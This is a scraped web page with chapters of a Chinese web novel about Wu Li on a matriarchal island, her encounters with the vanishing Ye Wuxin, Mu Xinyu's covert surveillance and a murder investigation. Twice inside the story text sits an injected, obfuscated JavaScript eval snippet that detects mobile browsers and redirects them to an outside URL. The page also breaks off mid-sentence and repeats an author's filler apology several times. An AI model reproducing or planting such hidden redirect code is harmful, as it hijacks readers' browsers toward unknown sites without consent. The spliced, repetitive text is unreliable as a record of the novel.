“而且对于我这个岛外来的可疑分子,岛主对我的包容程度未免也太大了,还让我配合伈雨来处理家暴案件……独孤艾夏说完自己男朋友和儿子的事,正在自我纠结的时候,你就祭出了‘烂苹果’比喻,写作文都不带这么前后呼应的。 “后来我们去审问了钟耀言和胡胜女,提到了最关键的地名是‘电子系统研究大楼’,伈雨也刚好路过那里,说要上去帮我领系统,让我过来步行街玩一玩。紧接着,穿着两千多块钱衣服的小贼黑子就抢了我的东西……本来我是不知道哪个小贼家底的,但是现在,你又正好带我来这家店,间接让我知道了。” 巫漓越说越慢。 她和独孤艾夏在一起的时候,忙着震惊于孤魂岛上为女人设计的制度,以及听艾夏对岛上阶级划分的顾虑,无暇思索这些异常的问题。 而和穆伈雨在一起的时候,她们除了去审问第一起家暴案件的当事人就是在互怼,因为相处的时间很短暂,所以也来不及去想哪里不对劲。 但是现在一步步将逻辑理顺后,整件事情的违和之处就缓缓露出水面。 “独孤艾夏说过,穆伈雨和大祭司都不擅长处理法律问题,但是因为你认识她们,现成的人手又很紧缺,这才把她们调过来处理家暴案件……你认识她们吗?” 叶无歆没有说话,但是默认的意思也已经十分明确了。 “你肯定是认识的,毕竟你连我都认识……可是我不认识你,你是在哪里认识我的呢?真是奇怪了,伈雨也不认识你吗?” 叶无歆回忆了一会才答道:“对。” “那你到底是谁啊?为什么会认识我们?又为什么会来孤魂岛?” “因为……我喜欢美丽的事物。” 叶无歆这根本就是已读乱回。 巫漓听不懂。 “在这个世界上,越是美丽的东西,就越容易成为被迫害的目标。”无歆又开始了她的比喻,“现在有无数条蟒蛇盯着一头雌狮,它们没有下手,只是因为它们在等待一个可以将其一击毙命的时机。正好,我也在等待那个时机。” 蟒蛇和雌狮……分别指代什么? 根据现有情景来看,叶无歆来岛上的方法不确定,她来到岛上的方法也存疑。那么合理推测,把她弄到岛上的人很有可能就是叶无歆。 巫漓不知道她把自己弄来岛上是什么目的,但是她自己上岛肯定不是为了所谓的休假,而是有具体目的存在的。 她来孤魂岛肯定是为了找一样东西,一样岛上独有的东西。 大概不是一个人,也不是一个高科技物件。 因为叶无歆上岛的瞬间就被发现了,一直被包括岛主在内的很多双眼睛盯着。如果穆伈雨在飞车上都没有接到叶无歆逃脱的消息,就说明叶无歆在她和穆伈雨分开之前都还被关押着,一逃脱就来找自己了。 既然已经排除了岛上的人和物件,那么就只剩下一样东西——孤魂岛本身了! 叶无歆的意思是说,孤魂岛像一头雌狮,它被很多岛外的国家像蟒蛇般盯上,等着将其打下,然后分食掉吗? 那她等那一刻,也是想要对孤魂岛下手吗? ………… 不对,等等! 叶无歆逃脱了? 那独孤艾夏她们肯定找疯了。 就算是胡胜女这种小角色,岛上的GPS系统都可以迅速锁定,将其抓捕,更何况叶无歆还是一级一等的危险人物,她失踪了,岛主不应该即刻动用岛上的高科技锁定目标吗? 巫漓和叶无歆逛了这么久,居然没有一个人找过来,莫非她们还没有意识到她的失踪吗? 怎么可能? 比起这个,巫漓更愿意相信眼前的叶无歆是个冒牌货。 毕竟她对孤魂岛太熟悉了,不仅懂得岛上的文化,还有一张仅限孤魂岛可用,光是看起来就价值不菲的金卡,怎么看都不像是外来者。 “你真的是叶无歆吗?就是那个和我一样突然上岛的危险人物叶无歆?” “是,也不是。我是‘无歆’,但‘无歆’不是我。”叶无歆放下水杯,拿起了服务员递过来装衣服的礼袋,站起来笑着对她说:“这个问题也没有这么重要,时间快到了,你不是不想让别人久等吗?” 巫漓也站了起来,“别转移话题!如果你是叶无歆,你失踪了,她们怎么可能不找你?” “你可以回去让穆伈雨调监控给你看。” 叶无歆把礼袋交到了巫漓手里,往外面走去。 巫漓也只好跟上。 “等等,你真是啊?可是你什么都没跟我说,你来找我真的只是为了休假逛街的?无歆,你等一下嘛……” 走到服装店门口,叶无歆看着她身后说:“小祭祀来找你了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049383|160161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巫漓回头看,可身后只有来来往往的行人。 “没有啊。” 她再次把头转回来的时候,叶无歆就和来时一样,悄无声息地消失不见了。 “诶,人呢?” 巫漓往前跑了几步,茫然地搜寻着无歆的身影。 这人真是神奇,不仅走路没有声音,就连出现和消失都是猝不及防的,完全不给人反应的时间。 “巫漓,你小子在干什么?” 一道不客气的声音在远处喊她。 巫漓再次回头看,这次居然真的看到了穆伈雨。 “伈雨……?” “你还认识我啊?我以为你忘了呢。” 穆伈雨快跑两步,直接就冲过来拽着巫漓往飞车的方向赶。 “我说你就算没有手表也稍微注意一下时间呀,早就已经超过一个小时了,你知不知道让别人长时间等着你很没品啊?你闲着没事干,可我手头上的事情多着呢!你就不能先跟我回去,带上整套的系统和足够你不务正业钱再出去浪吗?你还有功夫买衣服,真不知道你在想什么,这里的衣服有什么好的……” 穆伈雨还没有说完,巫漓就劈头打断了她。 “叶无歆消失了对不对?” 穆伈雨步伐缓了下来,表情严肃地问:“你怎么知道?” 巫漓也是同样郑重地回:“我刚刚和她在一起。” “不可能。”穆伈雨直接否定了这个结论。 “为什么?” “还好意思问为什么,监控上显示你一直都是一个人的,编瞎话也不打个草稿。” “你已经看过监控内容了?” “对呀,我不靠监控,难不成靠‘心有灵犀’来找你?” “给我看看!” “瞎着急什么?难不成你真的遇到那个叶无歆了?” 巫漓想到叶无歆说让穆伈雨给她调监控内容,焦急地催伈雨:“真的真的,你快点给我看啊!” 穆伈雨被她缠得不耐烦了,打开手机上的GPS检索系统给她看。 “看吧,我搜索到你从一片没有监控的废墟出来,虽然不知道你去那里面干什么,但是你从那里面出来之后,就一路自言自语地走到肆美拉(服装店名字)。你在肆美拉门口还崴了脚,看着挺严重的,但是不到几秒钟就又活蹦乱跳的了。肆美拉店里的监控也显示的是你一个人进去试衣服,最后把钱拿给服务员结账的……监控证据如此,你还有什么话说?” “我刚才真的和她在一起!” “精神分裂了吧你。你们岛外来的人就是一惊一乍的,你这家伙还记忆错乱过,来到一个新兴世界受到了刺激,也难免神经兮兮的,回头让我妈给你驱一下就好了。” “瞎扯什么?你才记忆错乱过呢,我好得很!” “你说你没有,那你告诉我,你上的初中叫什么名字?” “是……” 巫漓本来想脱口而出自己中学的名字,向穆伈雨证明她没有问题,但是当她真正将那个名字含在嘴里呼之欲出的时候,却呆愣住了…… 她忘了。 她真的不记得自己上的是哪个初中了。 15.孤魂岛 “那高中呢?” “高中……是吉滇十中……还是永生十四中?”巫漓陷入了自我怀疑,“我……有上过高中吗?” 巫漓十八岁之前身体不好,经常昏迷,大概记忆力也受到了损伤,整天浑浑噩噩的,什么也记不清楚。 她似乎记得自己是一个成绩很好,但是时常因为晕厥而请假的好学生,也有可能是一个爱财如命,高中都没有读完就辍学出去做生意的激进分子。 这两段记忆交织缠绕在一起,她竟难以辨出真伪。 “看吧,我就说你精神分裂,你还不承认。”穆伈雨搂着呆若木鸡的巫漓上了飞车,帮她系好安全带,拍了拍她的手背,“行了,折磨自己很好玩吗?就算你真的遇到了叶无歆也没有关系,反正那个活不归我们管,别给自己加戏昂。” “我一直和她在一起,监控上怎么会没有呢?” 巫漓还是在纠结,死活想不通。 她打开包装袋,看到自己沾满了泥土的旧衣服,衣服领口还有被撕扯过的痕迹…… 巫漓想,就算她真的精神分裂了,应该也做不出躺在地上撕开自己领口的蠢事。 更何况,穆伈雨只给了她三千多卦的现金,这些钱根本就不够买下她身上的这一身衣服和礼袋里的白裙,难道这些活生生的证据还不能证明她的记忆属实吗? “伈雨,你可以去问问那个服装店的店员,他们也和叶无歆说过话,一定记得她的!” “好好好,我知道了。” 穆伈雨这么敷衍地答她,像哄孩子一样,很明显是完全不相信巫漓所说的话。 “唉——” 巫漓叹了口气,很干脆地放弃了思考这个问题。 叶无歆是一个很奇怪的人,她可以毫无预兆地突然出现又突然消失,想必她把自己从监控内容上摘下来也不是什么难事。 巫漓迷迷糊糊也不是第一天了,她的人生信条是:与其内耗自己,不如这折腾别人。 她承认自己的不足,也不打算把自己变得完美。有些事情一旦较真,命运的齿轮开始转动,就会有很多麻烦闻着味找上门来,得不偿失。 反正她现在日子过得相当滋润,管她叶无歆来岛上想做什么,也管她孤魂岛和是外界有什么矛盾,横竖她就是一个打酱油的,没必要把自己看得这么重要。 “对了,你帮我拿的东西呢?”她问。 “在这儿。” 穆伈雨打开中央扶手箱,从里面拿出了一个粉红色的丝绒布袋子。 巫漓打开它,拿出里面的手表戴到了左手腕上,又拿出手机研究起来。 “这手机和我们那里的有点类似,我勉强还会用,不过有些软件和功能没有见过,你得教我一下。” “没时间,我相信你一定可以靠自己摸索出来的。” 穆伈雨给她比了一个“加油”的姿势。 “怎么一点好客之道都没有?” “哇噻,阿漓姑娘,我包吃包住还出钱倒贴你玩,这都不算‘好客之道’啊?那要不然你从今天开始给我打工,我照常发你工资,让你体验一下什么叫做‘没有好客之道’?” 穆伈雨说的本是气话,没想到她却毫无负担地答应了下来。 “可以呀,独孤艾夏本来就是叫我来当你的助手的,你有什么事情都可以吩咐我,我尽力而为,也让你给我钱的名头正当一点。” “别上赶着来找事啊。”穆伈雨很嫌弃地瞥了一眼她巧笑倩兮的模样,“我是要找助理,不是闲着没事想去改行当老师。等我给你解释完要怎么做,我自己都做完八百遍了。你还是管住嘴、迈开腿,让你跟的时候跟紧,不让你跟的时候好好去吃喝玩乐比较让人想养。” 巫漓耸肩,又一次没有任何犹豫地答道:“好吧,谁叫现在是你养我呢?我就只能恭敬不如从命咯。” 二人日常互怼间,一片“空中别墅区”映入了巫漓的眼帘。 这些别墅很像科幻电影里的样子,不知道靠什么充能,总之就是这么漂浮在100多米的高空,一片繁华商业中心的正上方。 它们的数量不多,但每一栋都风格迥异,从外在体现出了房屋主人的审美和性格。 穆伈雨开车飞进了别墅区中心的一幢建筑物的车库里。 这幢建筑物呈粉白色简约风,外表酷炫大气,与其说是别墅,不如说是城堡。不仅面积大得惊人,而且有十三层高,花园和室内装潢都被精心设计过。三栋风格相似但特色不同的小楼被廊桥连在在一起,露天花园里流水小桥和凉亭假山相得益彰,无处不透露着穆伈雨的身份和地位。 “天呐,比我家还豪……” 巫漓被震惊地合不拢嘴。 穆伈雨白了眼她,“大惊小怪的,知道正姦(jiān)集团吗?全岛最大集团,那是我阿婆的阿婆一手创办的产业,现在是我妈在打理,独孤绫冬在里面磨炼,但未来它只会落到我的手上。” 巫漓这下算是知道了,原来穆伈雨是大集团的继承人啊,怪不得这么豪气呢。 一般集团的名字都有一些深刻的寓意和目标,可以通过名字看出创始人的理想,但是巫漓不知道这是哪两个字,所以也摸不出头绪来。 “正间……是哪两个字?” “正义的‘正’,三个女字的‘姦’。” “姦”字触及到了巫漓的知识盲区,她不知道三个“女”字凑在一起的字是什么意思,但她知道这个创始人的初衷肯定是向着女人的。 “这是什么意思?” “很久之前,孤魂岛上流传过一阵烂谣言,说‘姦’字通‘奸’,指女人生来就有极重的原罪,所有罪恶都源于女人。我曾曾阿婆看到这个谣言的瞬间就恨不得杀了那个喜欢空口造谣的混蛋白痴,她动用检索系统锁定到那个谣言的出处在你们那里,就乘坐还在实验阶段的船前往了岛外。她很容易就落实了这个说法是你们先辈曾经确实使用过的,虽然当时就经被废除了,但也还是让人火大。后来岛主叫她不要多管闲事,赶紧回来。她回到岛上,抱着愤愤不平的心情创建了‘正姦集团’,目的是为了告诉那些无事生非的小人,我们女人的本事。我曾曾阿婆还说过:‘有本事就创建一个超过我们集团或者品牌,我就承认我不如你们,但是只敢躲在被子里靠着岛外糟粕意.淫的小人实在算不上东西,我连提起都嫌脏了嘴。’” “曾曾阿婆够硬气啊,帅炸了!” “可不。” 提到这个话题,穆伈雨掩盖不住地自豪起来,也有了兴致带巫漓四处逛逛。 “我先带你走一圈吧,免得你到时候迷路乱闯。如果你还是认不清路,我等会把立体地图发给你,你可以直接搜索要去的地方,地图会带你走……” 穆伈雨先是带她去看了卧室,然后告诉她,自己会在A栋11层到13层之间工作,11层是实验室,在她工作的时候千万不可以被打扰,否则有可能会发生危险。 巫漓一一答下。 “欸,伈雨,你是独生子吗?”她忽然提问。 “是,怎么了?” “没什么。”巫漓在脑海里大致过了一圈自己接触过的有钱人,“我只是觉得有钱人应该都很担心自己的财产没有人继承,所以一般都不会只生一个孩子。伈雨你是大祭司生的吧,那你爸爸也没有给你生几个弟弟妹妹吗?” 穆伈雨很嫌弃地瞅她,“是艾夏说的对不对?你都跟那家伙学了些什么啊?” “啊?” 巫漓认为孤魂岛上男人生孩子是一件再正常不过的事情,所以上位者应该都会像独孤艾夏一样拥有几个男方生的孩子。 可是看样子,穆伈雨好像对这个行为不仅不骄傲,还充满了鄙夷。 “我和我妈都没有培养过[根]。” “为什么?你们不是研发这个的吗?” 穆伈雨理所应当地说:“女人就是女人,把女人变成男人有什么好?[根]又不是什么好东西,有了它,很多人的脑子就自动转移到下半身去了。孕育生命本来就是女人的权利,男人靠[根]生出来的东西根本就没有多少活人气,又怎么能算是一个活生生的人呢?完全就是祸害生灵。我们研究这个东西是因为有市场就有需求,很多上层人士喜欢追求刺激,就会花高价来弄一个。虽然看起来像是男人受罪女人享受,但培养[根]的营销手段对准的还不是女人。” 巫漓瞬间想到,在那个阴暗的巷子里,纳彪可以云淡风轻地说出那些卑鄙下流的言论。 她不敢想,就连步行街边上并不算穷凶极恶的小混混都这么无耻,真正被遗弃在乱区里的姑娘该面临怎样的炼狱。她更不敢想,倘若在那样恶劣环境下都能顽强生长出来的姑娘又该是什么模样。 在穆伈雨的“城堡”粗略逛完一圈下来,巫漓大概已经明白自己可以活动的区域了,但是有一件事情她觉得很奇怪。 “我家那个六层的小别墅都有请保姆,你这里这么大,怎么也没请个保姆、管家什么的?” “我有专门的清扫和收纳团队,但是我不经常回来,也不喜欢人多,所以只会让她们每个月固定来一次。” “那我肚子饿了岂不是要自己动手做饭?” “自己动手,丰衣足食,相信你可以的~” “喂,这个有点过分吧?” “开玩笑的。我回来的时候,厨师会也会跟过来,你饿了可以直接去厨房叫她们帮你做,或者在手机上点餐,然后告诉她们要送到哪个房间。” 巫漓的嘴得到了保障,点头装萌道:“好,有吃的就行,你快去忙吧,不耽误你啦。” “行,时间也确实不多了……唉,又得熬夜。” 趁穆伈雨准备上电梯的时候,巫漓悄悄打开了好不容易才找到的存款中心。 在看到六位数余额的那一瞬间,巫漓终于就坐不住了。 “等等!” 巫漓连忙伸手按住了电梯按钮,让不电梯门关上。 “还有什么事?” 她假装腼腆地笑了一下,“我记得空中别墅区的下面有一片繁华商业街来着……” 穆伈雨看她那个样子就知道她呆不住想去逛街,但是对付这种闲不住的人,还是要把她关起来磨一下性子比较好。 “你想下去玩?” “嗯嗯!知我莫若你,心有灵犀说的就是咱俩了。好心人指一条便捷通道,我保证你工作的时候,我喘气都不带大声的” “好说,这里只有一条路可以下去,那就是开飞车。” 巫漓眨着眼睛等穆伈雨说要安排谁带她下去,但是对方好像没有继续往下说的意思,按了电梯内的关门键。 “不是,你还没说让谁带我下去呢!”巫漓拦住电梯门。 穆伈雨摸着下巴演了一会为难,“带你下去可不好办。为了防止厨师偷了别墅里的东西逃跑,她们都是由专车接送的,不能离开。至于我嘛,我实在是没有那个闲工夫接送你下去吃喝玩乐。你现在只有两条路:第一,直接跳下去,咻——啪!两声就可以迅速落地,方便快捷零差评……” “这个开头就是让我选第二条的意思嘛,明白了,说吧。” “第二条,就是去学车。” “我会开车啊,普通轿车和飞车的区别很大吗?要多久才能学好?我算一下我回去之前够不够时间学。” “你来都来了,不留你个三年五载的,岛上那些老顽固怎么可能放你回去?学习飞车的地方我已经帮你联系好了,刚好月栀那家伙最近也要学,你就跟他一起吧。” 月栀……这人有点耳熟,谁来着? 巫漓想了好久才想起来这人就是竞选岛主的第四名候选人——一个功绩不多,但家世和智商都够硬的23岁大学教授。 不对啊。< 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随着巫漓的声音消失,三楼客厅左上角一个纽扣大小的摄像头亮起了微不可查的绿光。 ………… A栋顶楼的书房里有整整一面的书墙,将一本名为《穰穰满家》的书拿下来,便可以看到书架深处有一个极细的孔洞。如若将书本中间夹着的铁质书签拿出来,抽出其中藏有隐形芯片的铁丝,插.入孔洞中轻轻旋转一圈,就可以将书墙打开,暴露出藏在内里的一番天地。 穆伈雨坐在旋转椅上,她四面八方的墙壁都是全息屏幕,在她正前方的墙壁上,以数不清的分隔监控着别墅里的每一个角落。 她左手戴上三个感应指套,把监控里巫漓的全息影像抓到自己身体左侧,悬浮在空中。 她身前桌子上的长条弧形电脑屏幕里也播放着巫漓从进入步行街到被她找到前的全过程,当然也包括在所谓的“乱区”里发生的一切。 这些场景都非常诡异,因为巫漓总是会时不时地和空气互动,服装店的服务员也是非常诡异地没有收钱就把衣服给巫漓了。 穆伈雨用手势召唤出全息键盘,飞速敲击了几下,电脑上的监控内容瞬间变化成一片飘红的代码。 她找出程序错乱的地方尝试修补。 经过了半个小时,电脑终于恢复原样,出现了原版的监控内容。 在这一版本的监控内容里,巫漓身边多出了一个人——叶无歆。 叮铃—— 随着一声清脆的电子音,她右手边漂浮在空中的一块全息屏幕变成了独孤艾夏的半身人形。 穆伈雨接通电话,声音很是慵懒。 “怎么样?人抓回去了吗?” “她消失了没一会儿就自己回来了,我们查过监控内容和人体信息感应装置,以现有科技无法对她的突然出现和消失做出反应。” “嗯,想到了。” “你那边应该有线索吧?发过来。” “谁告诉你我有线索的?” “你忘了绫冬在和你姨妈学习预言了?” “我向来对别人的事情不上心,你又不是第一天知道。告诉绫冬,她的那点本事还差得远呢,有功夫多研究一下自己,别老把目光放得这么长远,否则连小命都保不住,她还想拿什么去东西去预言?” 穆伈雨撕了一颗清凉糖扔进嘴里,左手随意敲击着键盘。 “叶无逃走是去找巫漓了,她们去逛了街,买了衣服……具体内容我传给,审问的工作就不用我出马了吧?这么简单的程序你们都找不出人破解,真是越来越没用了。” “谁叫你们大祭司一族掌握着技术又不肯教别人,我们还不是只能有事就来找你。” “我妈的手艺不传外人,我可未必。我说过我想找一个岛外的小姑娘当徒弟,可你们一直也没给我找来,这就怪不得我了。” “巫漓不就是。” “她?可算了吧,她连手机都玩不利索,让我教她,除非你是想气死我。” “随便你,反正不把技术交出来,就别怪我经常来叨扰你。不过,法不轻传我可以理解,但是你为什么非要找岛外的人?” “因为……”我已经看上了一个人呀。那个人天资聪颖,简直天生就是当我徒弟的料。 穆伈雨没有说出口,用了句官方拒绝预言:“我在岛上也找过徒弟,但是没有看上的,这不就只能把目光放到海外了嘛。” 独孤艾夏的影像表示懒得理她臭美,挂断了全息电话。 穆伈雨半发呆半思考问题地看了会儿监控视角下的巫漓,颇为玩味地把手伸到桌子角落,从便携式药瓶柜里取出了一个密封起来的试管,拿在手里把玩。 生物研究中心掌握人体自然构造下的优势和缺陷;信息技术掌握任何人的机密资料;最大的商业帝国可以控制全岛甚至全世界的经济脉络;祖传的高维秘术和政治信仰更是让她们利于无可撼动的地位。 难怪穆伈雨想要当大祭司而非岛主。 岛主除了在全岛地位最高之外,每天都会被很多琐事缠住,而且对待重大事件的决策也并不能独自做主,而要遵循会议的结果。和没有一点自由时间的岛主比较起来,当然是大祭司更符合穆伈雨的人生规划。 “岛外的白痴这么多,居然还能找到这么一个天赋异禀的小家伙,也是难得啊……” 穆伈雨方才已经设置了程序,让接下来岛上居民投给自己的全票都按比例重新分给四个候选人。在最重要的甩锅工作落幕之后,她休息时,想到和自己未来小徒弟打视频聊天的情形,发自内心地露出了张扬的笑意。 不过她没有注意到,在另一边,镜头里的巫漓正拿着圆珠笔一下一下地戳着六楼卧室里的纽扣监控的镜头。 16.孤魂岛 “虽然装的隐蔽,但是随时被监控着还是感觉隔应。别的地方就算了,卧室里的还是暂时休息几天吧。” 巫漓掂着扣下来的隐藏式纽扣监控,在卧室里转了一圈,把它放到抽屉里。 接下来要做什么呢? 巫漓坐在卧室里的小沙发上,打开手机研究叫餐服务。 “您好。” 一道女声从门口传进来。 因为别墅里没什么人,所以巫漓进来的时候就没有关门。她循声望去,看到门口站着一个面容和善的中年女人。 中年女人恭恭敬敬地说:“抱歉打扰您了,我是穆少奶的管家。少奶说您上岛来没有带换洗衣服,所以叫了高级定制设计师来为您量身定制几套,他们现在就在B栋一楼,您方便现在过去吗?” “嗯,好。” ………… 光是测量尺寸和选择喜款式、材料就花了一下午的时间。 巫漓虽然没有穆伈雨有钱,但还是被这些繁琐的流程给震撼住了。 她严重怀疑,这是穆伈雨为了防止她再拆别墅里摄像头,给她消耗精力的手段。 “啊——终于完了——” 她终于应付完这些昂贵的程序,伸了个大大的懒腰。 “管家太太……” “巫小姐,我未婚,您可以称呼我‘先生’,或者直接称呼我的姓‘杨’。” “在岛上‘先生’也是男女通用吗?” 管家摇头,看起来不太理解巫漓为什么会问出这个问题。 “我不知道巫小姐你们岛外的文化是怎样的,但是在孤魂岛上,‘先生’一词最原本的意思是指头生的孩子。因为以前只有‘长子’和‘长男’的划分,男人无法继承家业,也不算儿子,所以第一胎生下来的儿子就只能是女人。这个叫法传承了下来,后来演变为女性天生就拥有生孩子的权利,所以称呼女性为‘先生’,男性通过后天努力也可以怀上孩子,所以我们称呼能力出众的男人为‘后生’,以示尊敬。” “是这样啊,那我叫一个男人‘后生’,岂不是比叫他‘小哥’和‘公子’更容易让人接受?” “那是自然。” 巫漓看管家那一副真理不需要证明的表情,不自觉在心里想: 女人被称呼为“先生”不是因为对社会做出了多大的贡献,而是因为我们生来就应该被这样尊重。 男人本来叫“小哥”,可后来的社会把这个词给败坏了,女人们又大发慈悲,帮他们研究了可以生育的高科技,所以给他们当中最厉害的少数赋予了最大的荣耀,称呼他们为“后生”,否则就应该被叫做“无能生”…… 我的老天奶呀,这个解释也太爽了吧!真想一辈子留在这里不回去! “管家先生,你今天晚上住在这里吗?” “按理说,少奶回来,我是应该留在这里的,但今天是我儿子的初潮礼,少奶就说这是对女孩子很重要的大日子,让我一定要去陪着她。” “您还没有结婚就已经有孩子了?” “是的,孩子的父亲是三年前去世的。我很爱他,但是当时我为了儿子和我自己,还是决定不和他结婚。” “这是为什么呢?” “因为他是男人生的孩子,活不了多久。”管家说到这里,露出了和穆伈雨一样的厌烦表情,“男人本来就只擅长生男孩,还总是喜欢要求自己的男儿生几个孩子傍身,形成了恶性循环。我儿子的父亲就是在这种劣性执念中诞生的产物。” 巫漓意识到自己说错了话,“对不起,没想到提到了您的伤心往事……” “没关系,也不是什么见不得人的事情。” “那我可以问问什么是‘初潮礼’吗?” “当然。‘初潮礼’和‘成年礼’差不多,只不过‘成年礼’是有固定日子的,而‘初潮礼’则是女孩儿第一次来月经后的第一个吉日。因为这一天起,女孩儿就拥有了孕育生命的能力,所以我们也借此庆祝生命的起源。” 巫漓已经记不得自己的初潮是在什么时候了。 对于女孩子来说,这确实是一个与众不同且颇有纪念价值的日子。 ———————————————————————————————————————————— 字数不够填一下内容,抱歉各位,不用担心,过后会补齐的。 因为最近两天感冒发烧,加上痛经严重更是站都站不起来,所以没有完成榜单的字数。 明天准备去医院检查一下,希望可以早点恢复码字。欠下的字数下周都会补上的,再次道歉! ———————————————————————————————————————————— 字数不够填一下内容,抱歉各位,不用担心,过后会补齐的。 因为最近两天感冒发烧,加上痛经严重更是站都站不起来,所以没有完成榜单的字数。 明天准备去医院检查一下,希望可以早点恢复码字。欠下的字数下周都会补上的,再次道歉! ———————————————————————————————————————————— 字数不够填一下内容,抱歉各位,不用担心,过后会补齐的。 因为最近两天感冒发烧,加上痛经严重更是站都站不起来,所以没有完成榜单的字数。 明天准备去医院检查一下,希望可以早点恢复码字。欠下的字数下周都会补上的,再次道歉! ———————————————————————————————————————————— 字数不够填一下内容,抱歉各位,不用担心,过后会补齐的。 因为最近两天感冒发烧,加上痛经严重更是站都站不起来,所以没有完成榜单的字数。 明天准备去医院检查一下,希望可以早点恢复码字。欠下的字数下周都会补上的,再次道歉! —————————————————————————————————————————————— 字数不够填一下内容,抱歉各位,不用担心,过后会补齐的。 因为最近两天感冒发烧,加上痛经严重更是站都站不起来,所以没有完成榜单的字数。 明天准备去医院检查一下,希望可以早点恢复码字。欠下的字数下周都会补上的,再次道歉! ———————————————————————————————————————————— 字数不够填一下内容,抱歉各位,不用担心,过后会补齐的。 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巫漓对孤魂岛的办事效率很震惊,连案件都没有查清楚,死者的尸体就被火化了,这有点毁尸灭迹的嫌疑呀。 “尸体身上的证据都已经保存下来了,尸体留着也没什么用。像那种对女人抱有歹心的家伙本来就是被社会所不容,死了正好落得个干净。反正乱区里面发生的事情,外面一向不好管,这次的案件派法医过去取证已经是算我们很上心了,从始至终都没有人指望能在乱区里找到凶手。” “也没有证据表明凶手一定是乱区里的人呐。” 穆伈雨表情严肃起来。 “是不是乱区里的人有什么要紧?你也见过那个死者,结合他被杀害的情况来看,难道你还看不出他被杀的原因吗?强.奸.罪本来就是死罪,之前局里就接到过不止一次报案,说他猥.亵妇女。是因为他一直躲在乱区里,我们才没有抓到他,现在他被人杀了,我们应该感谢那个无名英雄才是。” “可也不能因为受害者是社会败类,就否认杀人凶手行凶的事实啊!要是这样的话,假如我想杀一个人,就先告他强.奸,在落实这个罪名之后直接杀死他,是不是就可以受到全社会的理解和包容?” “这个社会对女人没有这么好。” 穆伈雨脸上的表情越来越阴沉。 “杀人是大事,这起案件会一直有警方追查,直到水落石出为止。只是近几年岛主的压力很大,一直没空去整治乱区里面的东西,这才让他们越来越肆无忌惮。乱区里没几个活的女人,只有衣冠不整的女孩尸体。那里面的男人都该死,可他们要是死在外面了,我们的警察还不得不去处理这件事情,因为我们有法律道德的约束,我们有良知和人性,而他们没有。所以尽管我在这里嫉恶如仇,那些甚至不算是人类的东西享有的权利也一样都没有落下。” 巫漓看到她们经过了白天的步行街,而在步行街的另一边还有一片被黑暗笼罩的世界,那里就是“乱区”。 其实乱区被男性统治是无法规避的必然结果,因为乱区本来就是弃婴抱团取暖的“家”,不存在是男性健壮还是女性健壮的问题,那里的人都食不果腹,衣不蔽体。 重要的是,在女性做主的地方,被丢弃的男婴一定会比女婴多。在庞大数量的优势下,最原始的欲望被无限放大,女孩就成了他们在绝望中唯一可以享受的祭品,销魂的高音。 巫漓对精虫上脑的人恨之入骨,她也诅咒过纳彪死无葬身之地,但那和杀人不是一回事。 她靠已知的情报试着做过凶手侧写。 凶手极有可能是被纳彪强.暴过的女性,因为怀着怨恨,用法律的手段也无法让他付出代价,所以就亲自化身为恶魔,以暴制暴。 如果受到这样遭遇的人是巫漓,她一定会采取更加激烈的方式复仇,只要罪恶多端的人下地狱,哪怕要她为此丧命也在所不惜。 可杀死恶魔的勇士会被它的血污染,成为下一个恶魔。 巫漓很理解,也很赞同。 但是当她面对这种事情的时候,她会和大多数人一样,下意识选择站在此案的受害者那边。 这就是良知造成的思维固化。 人们没那么想要真相,他们只想要自己与正义为伍。为了证明这个结论,他们拼尽全力也要找出对方的罪恶,为杀死“恶人”尽一份力。 可“恶人”的定义,到底是什么呢? 很快就到了钟家。 刑事技术人员刚好准备收工,穆伈雨问他们打招呼,巫漓直接就走了进去。 客厅里摆设散落一地,这里应该就是他们打斗的第一现场。 一只玻璃杯掉在桌子旁的地上。 巫漓捡起这只杯子放在桌子上,用手轻轻一推,玻璃杯就在力的作用下往前滚,最终“啪”的一声掉在地上摔碎了。 “你怎么一来就乱摔东西?”穆伈雨听到声音,走过来拉住她,“还好现场调查已经结束了,否则一定会被你破坏掉很多证据。” “这个玻璃杯很不禁摔啊。” “废话,哪有人买玻璃杯是拿来当皮球拍的?” “可是它好好的躺在地上。” 穆伈雨蹲下身捡起一片玻璃碎片,问:“它本来在哪?” 巫漓指了桌角的一个位置给她看,她转头问技术人员:“你们来的时候这个杯子就是放在那里的吗?”技术人员说:“是。” “很怪吧?这个杯子这么脆,我放在桌子上轻轻一推掉下来就碎了,如果是打斗的时候弄掉的,那个力道只会更大,玻璃杯为什么没有碎呢?如果这不是巧合的话,就只能说明玻璃杯本来就是被人放在那里的。” 穆伈雨把玻璃杯的碎片放下,不是很在意地说:“大惊小怪的,这能说明什么?” “要么说明他们没有收捡,把玻璃杯这种危险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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穆伈雨正在玩玄关上的牛顿摆球装饰,突然被点名,抬起头用一副事不关己的表情点了点巫漓说:“巫小姐她是代替我负责这个案子的人,你们有什么自己商量就好了,不用问我。” “你开什么玩笑?我负责……什么时候的事?” 巫漓连忙把穆伈雨拉到一边去低声质问。 穆伈雨倒是不太在乎。 “我觉得你挺合适的,应该可以应付得来。” “乱说!” “行了,一个大女人别这么老是缩在别人后面。我只是让你帮我调查一下,好让我去瞌睡一会儿,最终负责人还是我,出了什么事情有我担着,你怕什么?” “你认真的?” 穆伈雨打了个哈欠,直接挥了挥手往外走去。 “好了好了,困死我了,我先去飞车上睡会儿,你一会觉得调查得差不多了,就来车库找我汇报你的结论。” 巫漓没想到自己只是出了个头,就刚好被猎枪给瞄中了。 现在她有插手调查的意思,穆伈雨也表明了说要放权委任,在随行警察的围追堵截下,巫漓现在就算想反悔也没有退路了,只好硬着头皮上。 